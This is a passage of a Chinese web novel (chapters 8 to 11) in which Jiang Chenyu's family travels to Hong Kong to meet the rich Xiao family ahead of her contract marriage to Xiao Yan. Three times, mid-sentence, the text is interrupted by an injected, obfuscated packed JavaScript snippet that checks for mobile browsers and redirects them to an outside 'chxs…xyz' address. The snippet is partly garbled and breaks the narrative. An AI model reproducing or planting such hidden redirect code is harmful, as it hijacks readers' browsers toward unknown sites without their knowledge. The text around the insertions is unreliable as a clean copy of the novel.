浴室里雾气氤氲,茉莉香萦绕,姜沉鱼闭眸泡在热腾腾的浴缸里,身心极为舒畅,没有发现白皙手腕上挂着的浓绿玉镯突然发出一抹莹润的光泽。 滴答。 耳边忽然响起一声水滴入河川湖海的声音。 姜沉鱼刚开始没在意,随后两声滴水声让她睁开了双眼。 哪来的滴水声? 不会是外面下雨,天花板漏水了吧? 姜沉鱼裹好浴巾,四下环顾一周,又撩开窗帘看外面是不是下雨了。 窗外皓月当空,繁星点点,自海面吹来阵阵咸湿的海风伴随着阵阵汽笛声,好一副繁忙景象,哪里有下雨的样子? 姜沉鱼不得其解,摇摇头觉得刚才许是幻听了,继续在浴缸里泡澡。 泡了二十分钟,姜沉鱼心满意足起身,换上蕾丝睡衣,用吹风机吹干湿润拢的长发,涂抹润肤乳,头顶吊灯下全身上下的皮肤细腻白嫩,水嘟嘟透着粉,真可谓是冰肌玉肤。 “咿?” 小腿上那道伤疤怎么不见了? 姜沉鱼左看右看,确定从小到大的那条伤疤消失了。 她欣喜不已,想着应该是这阵子用的祛疤膏起了功效。 那罐祛疤膏是江城外道观老道士自己配的,别人都说好用,姜沉鱼也去求,祛疤膏交给姜沉鱼的时候,老道士摇头晃脑说了八个高深莫测的话,“姻缘天定,福禄双全,花开并蒂,好事成双。“ 姜沉鱼猜测老道士是有些道行在身上的,涂抹去疤膏的时候心更加虔诚了。 姜沉鱼把自己擦香香,问候完爷爷奶奶就上床睡了。 这几天又是打包行李又是跑银行、定做礼服,真是累得够呛。 明早还要早起去赶飞机,不睡早一点身体受不住。 姜爷爷二老也早早睡下,姜建军一家三口在军区大院,第二天一早坐车来一同坐车出发去机场。 九十年代坐飞机是奢侈出行,动辄几百元的飞机票可不是一般人能承担的。 江城机场内都是穿洋裙西装,推行李的精英男女,姜家这边,勤务兵和警卫员放好行李,一家人上了车,两辆黑色轿车开往机场。 军区大院距离机场半小时车程。 姜沉鱼搀扶着姜奶奶下车,姜爷爷腿脚硬朗,不用人搀扶走起路来都带风。 “爷爷,您看那边的椰子树,长得真茂盛。” “去年坐飞机的时候还没这么高呢。” “嗯,一年风景一年人啊。” “奶奶,您小心些脚下,别让小石头绊着。” “好,还是我沉鱼贴心。“ 姜建军走在前面,文燕蓉化了妆,戴着珍珠项链,穿了身花大价钱买来的西装套裙,姜沉宁踩着三公分的细高跟鞋,呲牙咧嘴看着前面穿旗袍,踩高跟鞋走起来也摇曳生姿的姜沉鱼,心里不由得疑惑,都是一个爸生出来的闺女,怎么差别这么大? 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830860|158970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉宁走三步一个趔趄,好不容易拎着小包进了机场,在候机室,文燕蓉张了嘴,话里话外说自己累。 这几天忙前忙后,安排寄送包裹,请姜建军的战友吃饭累到手酸。 “行了,今天这么好的日子啰里八嗦说这些干什么?”严建军不耐烦开口。 他声音宽广,周围人听见声音看过来,文燕蓉像是没察觉到他人的目光,笑了笑不说话了。 她面上没说什么,其实心里翻江倒海,恼怒不已。 尤其看到潋滟娇媚的姜沉鱼雪白如玉的天鹅颈上那一串熠熠生辉的钻石项链,心里更是酸到爆炸。 那串钻石项链是萧砚专门派人送来的,还有与之搭配的耳环、手链跟钻戒。 天然粉钻搭配大颗钻石,外行人也知道这样一套钻石首饰价格不菲。 要不是自家不争气的闺女,这一切荣耀都是她的! 文燕蓉咬牙掐了姜沉宁一把,姜沉宁“嘶”了声,叫了起来。 “妈,你掐我做什么?” 她这一声喊,让周围又寂静下来。 “......” 文燕蓉挤出尴尬笑容,“这孩子,妈看你衣服起了褶皱,给你弄一下,不小心掐着你了,妈跟你熬了道个歉。” 文燕蓉给出的解释,让姜沉鱼翻了个漂亮的白眼。 真是此地无银三百两。 姜建军没说话,脸色倒是沉了下来。 姜家二老直接当没听见,泰然自若等飞机。 姜沉宁又不是傻子,她妈刚才那一掐用了十成的力气,手臂都掐红了,一看就知道是生了气的。 至于为什么生气,八成是为了萧家送来的那一套钻石首饰。 没想到,萧砚对姜沉鱼倒是蛮上心的。 上悲子他可没送自己什么钻石。 不过姜沉宁也不稀罕,上辈子只要有萧砚出现的画面,整个场景都是冰冷黑暗的,那种感觉现在想起来都让她发颤抖。 跟小命比起来,钻石项链算什么! 上午九点二十,飞机的轰鸣声划破江城清晨的天幕,一个小时后,安全降落在香港启德机场。 萧家派来的司机早早等候在机场外,姜家一行人刚出机场,管家生叔就带着司机迎上来。 “姜军长,姜老夫人,姜参谋长,姜太,姜小姐,姜二小姐好。“ ”生叔啊,八九年没见,你还是老样子。 ”我老头子早就不是军长了。” “人老了,退位让贤了。” 姜爷爷心态豁达,跟生叔谈笑风生,姜沉鱼挽着姜奶奶走在一侧,态度落落大方。 姜建军一家三口走在后面,一行上了车。 黑色轿车在盘山公路上行驶了四十分钟,到达萧家在跑马地的老宅。 萧家跑马地老宅主楼有六层高,另外有两座三层小楼,前面有草坪跟喷泉,后院有游泳池跟高尔夫球场。 姜沉鱼十三岁来港城做客,对这一切并不陌生。 而萧家老宅对姜沉宁来说,就是一个噩梦,让她遍体生凉。 9. 第 9 章 萧沉宁脸色发白,整个人摇摇欲坠一副很冷模样,姜沉鱼难得发善心,递给她一件小香风外套。 姜沉宁貌似有些意动,披上外套嘴边的那句两个字怎么也说不出口,再一抬头姜沉鱼早踩着高跟鞋,犹如一只翩飞的蝴蝶走远了。 萧老爷子为了迎接老哥们跟未来孙媳妇,早早从半山区大宅来了老宅这边。 当年萧老爷子跟发妻叶秋月有约定,他在外面的妾室女人,不管何时何地都不能进入老宅。 萧老太爷是一言九鼎的性子,他对发妻有愧,当即答应下来。 叶秋月虽然去了,这个约定却没有作废。 萧砚结婚,二太钟莉远在澳洲,二房一家回不来,萧老爷子也不允许他们回来。 萧家三房倒是离得近,可惜他们没资格进老宅。 早上三太邓颖梅特意换上新做的旗袍,烫了头发,让家里的佣人帮着纹眉抹口红,打扮好提着贵重手提包,摆出一副当家主母出门待客的架势,萧老爷子一句话就给她堵了回来。 “萧家长房家主会亲家,你一个三房小妾去做什么?” “老实在家待着。” “别给萧家丢人!” 萧老爷子说罢带着保镖出了门,邓颖梅顿时气结,讲佣人端上来的果盘打翻在地。 “你没长眼作伐?” “没见着老爷子出门了?” “上什么果盘?” “都给我拿下去,这么没眼色,这个月佣金想不想要了?” “是。” 佣人战战兢兢把浮雕花纹的精致餐盘端下去,口里的“三夫人”没有说出口。 要是说出口,这个月的佣金真没有了。 图案繁琐的昂贵地毯上,洗好的葡萄晶莹剔透骨碌碌滚出去老远,萧长昌、萧长堂兄弟俩早料到是这个结果。 老爷子一生女人无数,子孙也不缺,要说最在意的还是长房那一脉。 不说别的,当初萧台夫妻俩在西班牙出车祸,萧老爷子痛失长孙孙媳,当即就病倒了,在病中强撑着身子,把集团大权移交给次孙萧砚,当时萧砚刚留学归来,一个乳臭未干的毛头小子,港城豪门多少有些看笑话的意思在里面。 萧家煊赫多年,多少豪门被压制无法翻身,他们不趁着萧家颓势,落井下石就算不错了,看看笑话总可以吧。 谁也没想到,萧砚一上位就手段狠冷,一朝之间就将大权牢牢把控在自己手中,集团中二三房安插的眼目,不是自交提呈就是远走海外。 一时间二三房损失惨重,在集团内再无话语权。 萧长昌兄弟俩想起这事就咬牙切齿,心有不甘。 三房兄弟俩相差五岁,跟长房大哥萧长章更是相差十余岁,萧长章自小优秀,生的两个儿子也是出类拔萃,人中龙凤。 没了萧台还有萧砚,哪像他们三房,子孙一个比一个败家,按照现在的形势,过上两三代,萧家三房直接沦为平民百姓了。 萧长堂性子随了亲妈邓颖梅,性子急躁压不住事,脾气说来就来。 “老豆当我们三房是什么?” 会个狗屁亲家都不让去。 萧长昌比他稳重,拿着手里的雪茄道,“算什么?算三房庶子喽。” “二哥,平常心一点。” “想想二房那帮人,欲速则不达。” 一番对话,让萧长昌火气下去一半,兄弟俩到底心里不舒服,驱车去了赛马场赌马。 邓颖梅知道了又发了一阵脾气,冷笑一声,让佣人送束花去老宅。 老爷子不让三房人去老宅,送束花过去总可以吧? * 三房佣人心惊胆战,跑马地老宅这边,王妈跟吴妈心情却很好,盼望已久的未来少夫人一家总算来了,可不得好好收拾收拾? 平时萧家老宅就这么几个人,诺大的草坪、卧室楼房,王妈、吴妈忙不过来,都是从集团调保洁过来帮忙清扫。 “草坪上多撒点水。” “花瓶里的花放好,动作放慢些,那是大夫人最喜欢的水晶花瓶。” 王妈的好心情在看到三房佣人送来的那束花而消失殆尽。 吴妈拧着眉,三房这是什么意思? 送花就算了,还送束菊花? 呸! 这是给她们未来少夫人下绊子呢! 王妈平时一直和和气气的,现在袖子一甩指挥着家里的园丁大叔赶人。 “干什么干什么!是我家太太让送花来的。” “衰仔,赶的就是你!” “萧家就一个太太,哪来别的女人滥竽充数?” 吴妈也撸袖子加入,三房送花的佣人躲闪不及,只能狼狈后退。 跑马地老宅热热闹闹,萧家老爷子坐着车到了老宅,姜家一家人在车里一路欣赏着窗外湖蓝的海面,黑色轿车在环山公路上盘旋,路过尖沙咀的码头,又路过楼群密集错落的街头。 二十分钟后,轿车穿过藤蔓缠绕的拱门,越过一片绿茵草地,在萧家老宅门前停下。 “姜老哥。” “萧老弟。” 一身戎装的姜爷爷刚下车,萧老爷子便按捺不住内心的激动跟喜悦,拄着黄花梨拐杖迎过来。 “数年不见,老哥舍威风凛凛,不减当年啊。” “哪里,萧老弟你身子骨也是硬朗的很。” 二位老人久居高位,彼此握手大笑,多年好感情可见一斑。 “嫂夫人好。” “萧生好。” “萧叔叔。” “建军啊,这是又高升了?成了师参谋长了?好啊,真是虎父无犬子。“ 萧老爷子的赞赏让姜建军挺了挺背,他这辈子最大的遗憾就是没有一个儿子,继承他的军人生涯,延续家族荣耀。 现在这点遗憾,在大儿女要嫁娶入港城当萧家少奶奶的时候就烟消云散了。 只要沉鱼能在萧家站稳脚跟,他就能在军中屹立不倒。 有了萧家资金支持,姜家也不会衰败。 姜建军心潮澎拜,想趁着年轻再追生一个儿子。 萧老爷子这边,已经把目光放在未来孙媳妇身上,姜沉鱼今天打扮得体,一身米白色绸缎旗袍,腰身贴合裹着玲珑身姿,外面加了件白色开衫,一头乌黑长发卷起,耳上一对天然珍珠下耳环,脖子上的钻石项链也换成了同套的珍珠项链,衬托的她眉目如画,潋滟生光。 姜沉鱼落落大方道,“萧爷爷,您好。” “好,好。” “老哥你养了个好孙女啊,真是有凤来仪,沉鱼落雁。” 萧老爷子手里的黄花梨拐杖敲得邦邦响,姜爷爷跟姜奶奶也露出心照不宣的笑容。 在场众人包括姜沉鱼都面露疑惑,其他人是真疑惑。 只有姜建军跟姜沉鱼父女俩假疑惑。 当年姜沉鱼出生,姜爷爷请萧老太爷帮孙女取名字,萧老太爷提笔写了八个字,“有凤来仪,沉鱼落雁。” 姜家小孙女的要么取名沉仪,要么取名沉鱼。 姜老爷子抓阄,给孙女选了沉鱼这个名字。 萧老爷子跟姜爷爷笑过之后,两家人热闹闹进了老宅。 萧家老宅,姜家众人除了文燕蓉都来过。 姜沉宁上辈子在萧家老宅生活数年,对这里的一草一木熟悉的不得了。 这里就是她的噩梦! 文燕蓉昂着头压住内心的好奇跟向往,尽量不让自己表现出没见过世面的样子。 萧家老宅主楼客厅装潢因为是老夫人叶秋月的喜爱,没有完全装潢成港城豪门流行的西式装潢。 客厅内一水儿的酸枣木家具,欧式沙发、插花瓷瓶,闪闪发亮的水晶吊灯。 还有萧家大房的两位小成员——七岁的萧茗跟三岁的萧甜。 萧长章、郭玉琴夫妻回港的飞机因为暴风雨,暂时无法起飞,搁置了回港的日子。 萧砚因为主持集团会议,半小时后才能赶回来。 萧老爷子坐在主位上喝茶,“老哥,我这个孙子就是个事业狂,回来我替小鱼教训他。” “老弟哪的话,孩子事业为重有什么不好?” “对,事业最重要。” 对此,姜家众人表示理解,姜爷爷跟姜建军知道萧氏集团事务繁忙,觉得来得晚一点也没什么,男人嘛,事业为重。 姜奶奶稍有不满,看在萧老爷子面上没说什么。 文燕蓉则是幸灾乐祸,嫁到萧家这样的门户,规矩多,事情多人多口杂,哪能事事如意? 以后有那丫头受的! 姜沉鱼可不在意文燕蓉想什么,她跟萧砚本来就是契约婚姻,三年婚姻扮演好各自的角色就好。 三年后她拿着大笔抚养费潇洒离去。 谁在乎萧砚来不来迎接她? 倒是姜沉宁一进入萧家老宅,整个人就惶恐不安,一副惊弓之鸟的模样,这里面有什么她不知道的事? 客厅里长辈们聊天诉说当年,姜沉鱼几个小辈各自在老宅里娱乐。 姜沉宁说自己晕车,在吴妈的带领下去了客房休息。 萧家老宅很少有客人来,萧茗兄妹俩在家除了有保姆陪伴,寻常时间也就能见见亲叔叔萧砚。 而萧砚一个月大半时间都在公司,俩个小豆丁寂寞又孤单。 今天家里多了好多人,还有姜沉鱼这么漂亮的未来小婶婶在家里。 萧茗还能冷着小脸,三岁的萧甜快活高兴地要上天,两只嫩乎乎的小手牵住萧沉鱼就不松手了。 “小婶婶,甜甜带你去看家里的肥鸭子。” “不是肥鸭子,那是天鹅。” 边上单手插西装口袋的萧茗忍不住出声提醒。 萧家后院养了一湖的天鹅,萧甜年纪小老是把天鹅当成肥鸭子。 “是肥鸭子,不是天鹅。” “哥哥大笨蛋。” 萧甜跟哥哥斗嘴,萧茗小脸绷着,姜沉鱼在边上偷笑,抿唇跟着兄妹俩出了门,刚走到前院,萧家雕花大铁门敞开,一辆加长宾利驶进来,午时的太阳正好,灼热的光驱散了早晨的清凉。 加长宾利停在门口的草坪上,在门口等候多时的管家生叔上前,“二少爷您回来了。” 萧家老宅到主楼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830861|158970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一条长长的甬道,甬道前面是一片翠绿的草坪,草坪旁边则是老宅的停车场。 加长宾利车在停车场停下,在车上翻看完文件的萧砚从车上下来,一身笔挺西装勾勒出笔挺修长的身材,港城九月的阳光自梧桐树下倾斜下来,男人一张英俊到荼蘼的脸,一张脸淡漠中带着点漫不经心地疏离感。 “小叔叔!” “是小叔叔肥来了!” 萧砚刚一下车,小正太萧茗就跑了过去,萧甜一双黑葡萄眼睛也发出亮光,哒哒哒迈着短腿儿跟在后面。 姜沉鱼被小姑娘带着,穿着高跟鞋跟着小跑了几句,幸亏她今天穿的是到脚踝的旗袍,平时也没少穿高跟鞋,不然非得被小团子拉着跑跌倒。 毕竟她脚下踩的是一双九公分的细高跟鞋。 一般姑娘可驾驭不了。 姜沉鱼在边上看着冷淡俊美的萧砚,忍不住在心里感叹,她这个便宜未婚夫跟小时候一样,十足十的妖孽模样。 啧,一个男人长这么勾人做什么? “小叔叔,你可回来了。“ “小叔叔,甜甜想你。” 萧茗兄妹俩跟树袋熊一样挂在萧砚大长腿上,把男人材料极好的西装揉的乱七八糟。 刚才还表情冷淡的萧砚面色柔和许多,他平时讲究甚多,却没有不耐烦推开兄妹俩,等到两个小家伙儿诉完相思,摸摸兄妹俩的脑袋瓜,才淡淡开口:“生叔。” 生叔今年五十出头,带着黑框眼镜,穿着港城旧人常穿的马褂、皮鞋,两鬓微微有些发白,面容透着中年人的忠厚跟可靠。 “二少爷。” “把小少爷跟小小姐带下去。” “到上午上课的时间了。” “是。” 生叔上前带着两个保镖,护送着萧茗跟萧甜去二楼上课。 萧沉鱼闻言心下了然,港城豪门都有自家的私人教师,萧家也不例外。 萧茗兄妹俩从三岁开始,上午有私教教授英语,下午学习法语跟国文。 “小婶婶再见。” 萧甜乖乖松开姜沉鱼的手,小嗓音奶声奶气跟她告别。 “萧阿姨再见。” 相对于热情似火的妹妹,萧茗相对克制一些。 “甜甜,小茗再见。” 姜沉鱼美眸弯弯,一直等到兄妹俩走远了,萧砚眉骨抬了抬,凌厉狭长的黑眸才看过来。 “姜小姐。” “萧先生。” 萧砚视线不经意间自身穿米白绸缎旗袍的姜沉鱼身上划过,他低眸视线淡淡那一抹细腰上,指腹不自觉摩挲了下。 “姜小姐,初次见面就迟到,我很抱歉。” “希望能为此表示歉意。” 萧砚这话说得礼貌,姜沉鱼没理由不跟他握手,虽然感觉有点怪,还是把柔嫩的手伸过去,滚烫的触感从手心传来,男人大手腹有薄茧,与她平时精心呵护如水葱似白嫩的手指对比鲜明。 姜沉鱼跟萧砚握了下手,下意识想把手抽回来,没抽出来。 她又抽了抽,还是没抽出来。 姜沉鱼:??? 姜沉鱼抬眸,萧砚锋利浓黑的眉尾扬了下,似是轻笑了下,才收回手。 “抱歉。” 抱歉你个大头鬼! 早点松手不就没事了?! 姜沉鱼脸上笑容如常,心里把萧砚骂了一顿,说出来的话还是带着平时的软甜。 “萧先生客气了。” 萧砚都道歉了,她要是再不依不饶,就显得小家子气了。 临近正午太阳变得浓烈,远处碧蓝海港吹来一阵海风,吹起成群振翅盘旋的鸽子。 萧家老夫人叶秋月喜欢鸽子,说是向往鸽子无拘无束,自由飞翔的模样。 萧家主仆念旧,即便是叶秋月走了,家中的鸽子也是养了一批又一批。 萧砚回了老宅,很快就被萧老爷子派人喊起主楼客厅见客,姜沉鱼要溜走,也让王妈抓了包。 “姜小姐,老太爷请您一同过去。” 王妈是自梳的老阿妈,穿着中式褂裙,头梳成一个发髻,打扮很是朴素。 姜沉鱼溜走不成,只能乖跟便宜未婚夫一起去主楼。 主楼客厅这边,萧老爷子跟姜爷爷坐在一起,萧奶奶坐在侧位,旁边是一看就心情极好的姜建军。 姜沉宁因为“晕车”,早早去了客房休息。 文燕蓉倒是想留下来,但是她不够资格,一个不受重视的继母而已,怎么也上不了台面。 姜建军索性让她也去客房了。 “爷爷,姜爷爷,姜奶奶,姜叔叔。” 萧砚平时冷淡矜贵,除了家人在,对其他人都是面无表情的冷漠跟疏离,今天倒好,居然主动跟姜家长辈打招呼。 不光在边上装乖的姜沉鱼觉得意外,就是萧老爷子也是高兴得很,一双鹰眼在一对新人身上闪了来回,脸上的笑容越来越大。 “好,小鱼啊,来快坐下。” “阿砚也坐。” 姜沉鱼乖巧坐下,萧砚也坐在旁边,男人一坐下,四周就萦绕着微冷的气息。 10. 第 10 章 家中几位长辈见了面前郎才女貌的一对小年轻,心里都很满意,姜奶奶眉眼含笑,“小鱼跟阿砚,小时候就相熟,往后成了婚,必定十分般配。” “嫂夫人说得极对。” “到时候小夫妻三年抱俩,咱们就升级当太公太婆了。” 萧老爷子畅想未来,跟姜爷爷开怀大笑。 萧砚在一旁,眉眼沉敛,姜沉鱼言笑晏晏,陪着长辈们畅想美好未来,时不时说句应景的吉祥话,尽心尽力扮演好未婚妻这一角色。 毕竟金主大老板就在边上,她不尽力些,可对不起人家给的丰厚彩礼跟酬金。 话说回来,萧砚这厮是真高,姜沉鱼坐姿端正坐在沙发上,她也不算矮了,167的身高,端正腰肢,视线也才刚刚触及男人棱角分明的下颚线条。 萧老爷子显然很满意姜沉鱼这个未来孙媳妇,握着黄花梨木拐杖的手轻轻一点,边上站着的老佣人端上来一个雕刻细腻花纹的红木盒子,里面是成套的翡翠碧玉首饰,翡翠成色极好,不亚于庄心晴留给女儿的那只帝王绿手镯。 ”小鱼,这是爷爷给你的见面礼。” 萧老爷子笑着捋须,面对未来孙媳妇,这笑对了几分真心。 姜爷爷呷了口浓茶,脸上笑意不变,姜奶奶跟姜建军也各有自己的欣喜。 明眼人都知道这套翡翠碧玉首饰,是将来萧家女主人才有资格佩戴的。 萧老爷子把翡翠碧玉首饰送给姜沉鱼,其中寓意不言而喻。 萧沉鱼幼时在萧家奶奶身上看到过这一套翡翠首饰,知道其珍贵程度,也很清楚萧老爷子的性格,言出必行,一诺千金。 姜沉鱼看了眼身旁的便宜未婚夫,萧砚垂眸看过来,淡道,“这是爷爷的的心意,收下。” 得,人家金主大老板发话了,姜沉鱼也就心安理得收下,“谢谢萧爷爷。” “好孩子,不谢,不谢。” “小鱼啊,你嫁进来跟我家阿砚加把劲,早点让我老头子抱重孙就再好不过了。” 萧老爷子是封建旧思想,一辈子讲究多子多福,况且萧家大房子嗣一向稀薄,这不,未来孙媳妇还没进门呢,老人家先催生了。 “萧爷爷您放心,我跟萧.......阿砚一定努力,争取让您早点抱重孙。” “好,不愧是我萧家的孙媳妇。” “我老头子年纪大了,不晓得能不能看到这一天。” 萧老爷子跟姜爷爷感概,姜沉鱼又是一阵甜言蜜语。 “萧爷爷身子骨这么硬朗,一定能长命百岁,抱上重孙。” 这话萧老爷子听得心里舒坦,人上了年纪,不管年轻时多风光,老了也怕那一天的到来。 萧老爷子看孙媳妇的眼神,又多了些慈爱,萧砚嘴角也多了几分笑意。 姜家长辈也给萧家大房的小辈准备了礼物,萧茗喜欢书法,除了一盒湖州毛笔外,姜家又送了一只派克金笔给他。 小团子萧甜则是一组大英来的,价格不菲的洋娃娃玩偶。 这礼物一来一回,时间就到了正午。 正午时分,钢琴声悠扬,萧家主楼餐厅里铺了桌布,从前到后,牛排、罗宋汤、香肠、面包、烩花胶、盐水鸭、清蒸螃蟹、鲍鱼、焗蜗牛跟鹅掌,中西餐应有尽有。 港城饮食多元化,这几年西餐流行。 萧家考虑到姜家地处内地,贴心安排了一场中西餐大融汇的晚餐。 二楼餐厅不同于一楼客厅的奢华大气,装潢上显得低调有内涵。 酸枣木地板上全部用昂贵的丝绒地毯铺展开,因为平时少有人来,显得空旷又孤寂。 姜沉鱼在江城没少吃西餐,习惯了用餐时工作人员弹奏钢琴,拿起刀叉,优雅切下一块软嫩多汁的牛排,同坐在一旁的萧甜一起,一大一小都吃得津津有味。 萧茗也因为今日家中来了客人,胃口变好不少。 坐在对面的萧砚看到这一幕,不动声色笑了下,对裴特助递过去一个眼神。 裴特助躬身走出了餐厅。 不多时,姜沉鱼爱吃的牛排就又上来一桌,角落里的姜沉宁把这一幕尽收眼底,握着刀叉,眼神闪了闪不知道在想些什么。 “姜二小姐。” “喝果汁吗?” 同样穿着中式褂裙的吴妈手里端着芒果汁,推着餐车过来。 萧沉宁沉浸在思绪中,失神了一瞬,摇摇头。 吴妈干净利索转身,满面笑容询问正在跟优雅跟牛排奋战的姜沉鱼。 “姜小姐,新鲜酸口的芒果汁,来一杯吗?” 芒果汁是姜沉鱼素日最爱喝的果汁,闻言撂下手里的刀叉,跟吴妈道谢。 “我要一杯,麻烦吴妈了。” “不麻烦,不麻烦。” 吴妈看姜沉鱼的眼神可是亲切得很,毕竟这是自家未来的少夫人,生的貌美对小少爷他们也体贴,以后嫁进来再生位小少爷或是小小姐,萧家老宅可就热闹了..... 吴妈畅想着以后的美好生活,给姜沉鱼倒了满满一杯芒果汁。 姜沉鱼正口渴,抿了口甘甜的芒果汁,恰好佣人上了几盘清蒸螃蟹。 港城多产鱼虾,九月份的螃蟹更是鲜美异常,萧茗跟萧甜平时就爱吃螃蟹。 不过螃蟹性寒,吃多了伤胃。 家人不让两小只多吃,今天家中来客人,餐桌上难得出现螃蟹,萧茗还好,只是抿抿唇没说话。 小团子萧甜举起胖胳膊欢呼一声,奶声奶气请身后的保姆阿姨帮她剥螃蟹。 “小婶婶,你也吃螃蟹呀。” 萧甜热情邀请未来小婶婶一起吃螃蟹。 “……好。” 姜沉鱼美眸流转,姜家众人脸上表情也有些微妙,姜沉宁还在神游太空,憋闷的大半天的文燕蓉幸灾乐祸起来。 她这个继女平时娇里娇气,在家里吃螃蟹都是吃剥好的螃蟹。 家里有勤务兵,外头西餐厅有服务员。 在港城可没人包容她的娇纵。 看吧,萧老爷子要是知道姜沉鱼是个什么德行,不知道会是什么表情? 会不会懊悔给孙子娶了个中看不中用的绣花枕头? 文燕蓉端着手里的牛奶,掩饰不住看好戏的表情,边上姜建军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830862|158970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪了她一眼,才收敛些。 “小鱼,萧爷爷记得你爱吃螃蟹,来趁热吃。” 萧老爷子对未来孙媳妇关怀备至,姜沉鱼顺着老爷子话头,笑盈盈应了声,垂眸看餐盘里肥美的螃蟹,努力回想餐厅服务员剥螃蟹的步骤...... 好像是先掰开蟹壳,卸下蟹腿..... 姜沉鱼正要动手,对面萧砚突然走过来,抬手拿起一碟螃蟹,动作利落,两三分钟就把两只螃蟹剔干净,四平八稳放过来。 ”生叔,上一壶菊花酒。” “螃蟹配菊花酒,味道格外好。” “各位长辈可以浅酌一番。” 萧砚面容沉稳,在餐桌众人诧异的眼神中,又如法炮制为萧老爷子跟姜爷爷二老剥了两碟螃蟹,才从裴特助手里接过手帕,慢条斯理擦着手指,动作矜贵透着赏心悦目。 “好,算你小子孝顺。” 萧老爷子人老成精,在商海沉浮多年,哪能看不出自家兔崽子欲盖弥彰,真正的用意是什么。 萧爷爷、萧奶奶也是笑而不语。 姜建军心下大喜,他原以为萧砚性子清冷,对大女儿没什么感觉,娶她不过是家族联姻罢了。 现在看来,其实不然。 起码萧砚对自己女儿还是有几分好感的,不然也不会在婚前就送上昂贵的钻石套装.... 姜建军心潮澎湃,文燕蓉咬牙切齿,姜沉鱼回过神来,心道她这个金主大老板真是不错,结个婚还屈尊降贵帮忙剥螃蟹的,美眸弯了弯,冲萧砚轻声道。 “谢谢萧先生。” “姜小姐太客气。” 萧砚神色淡淡,唇角轮廓线条映照在餐厅顶光灯下更显得俊美精致,相比于其他人面前摆的满满的餐盘,他面前空空如也。 姜沉鱼顿了下,看来外面传说的流言是真的,萧家家主中了什么毒,什么东西都吃不下,只能靠喝营养剂度日........ 姜沉宁狐疑地盯着跟萧老爷子谈话的萧砚,心下不解得很,上辈子她嫁到萧家,萧家众人态度可是冷淡得很。 不说萧砚,就是萧家老宅也不像现在张灯结彩,王妈妈跟吴妈笑容可亲,萧茗兄妹俩也对她冷眼旁边,到处挑毛病。 她在萧家日子不好过,一个月只有两千港币的零花钱,家里祖传的首饰也没份戴,跟别家豪门阔太一比,穷酸到爆。 守了几年活寡,萧沉宁遇见个小白脸,自称是港城大学生,小白脸穿白色的衬衫和西装裤,脚踩皮鞋,天天巧克力鲜花不断,她没忍住出轨了,后来……… 萧沉宁摸摸自己的小腿,拿着刀叉的手微微颤抖,她被发现后赶出了萧家,跟小白脸私奔的路上,遇上抢劫的古惑仔,不仅抢了她的钱,还生生打断了她和小白脸的腿。 姜沉宁每每想动到这里,都觉得小腿生疼,冰凉冰凉的。 九十年代的港城纵使帮派横行,但是古惑仔胆子再大,也不会在富人区抢劫,她跟相好小白脸落得那样一个结局,这里面真没有萧家的插手? 不是萧砚动的手,就是萧老爷子,这祖孙俩骨子里是一脉相承的冷酷无情。 11. 第 11 章 一餐结束,姜沉宁脸色依然不好。 文燕蓉觉得女儿身体虚,偷偷摸摸在姜沉宁枕头下放了张符咒,又对着符咒念念叨叨,她做这事都是隐秘进行的,萧家佣人早上八点打扫客房。 等明天一早姜沉宁起床了,文燕蓉再偷偷溜进来把招桃花的符咒拿走,神不知鬼不觉,谁也不知道,这不就万事大吉了。 文燕蓉絮絮叨叨拱手念完嘴里的话,看客房墙上悬挂的石英钟,下午四点半了,到了香江小学放学的时间。 楼下一辆气派的黑色轿车驶出了萧家老宅,看样子是去接小少爷萧茗了。 文燕蓉在三楼客房环顾远处的喷泉跟绿草环绕的篮球场,在楼下走来走去,收拾庭院的佣人,心里冒出酸意。 这么富贵的豪门少奶奶生活,本来应该是她女儿的! 现在全便宜姜沉鱼那丫头了。 文燕蓉越想越不甘,恰巧姜沉宁面带疲惫上了楼,她这一天在老宅提心吊胆的,就跟惊弓一样,好不容易等萧家瘟神祖孙俩走人了,避开家里佣人,想上楼躺一躺,一进门碰上双目喷火的亲妈。 “妈,你在我房间做什么?” 萧家家大业大,单是客人住的客房就有两层楼,姜家一家人各自住在不同的房间。 要是没记错的话,她妈应该跟爸爸一起住在左侧的豪华客房内。 “臭丫头,大白天的你回来干什么?” “我累了,想躺一躺。” 姜沉宁说话有气无力的,这会儿真没心思跟文燕蓉犟嘴,她真是后悔来香江了,早知道装病待在江城多好? 一来香江就倒霉! ”睡什么睡,你打扮好好的,跟妈出去一趟。“ ”出去干什么?“ 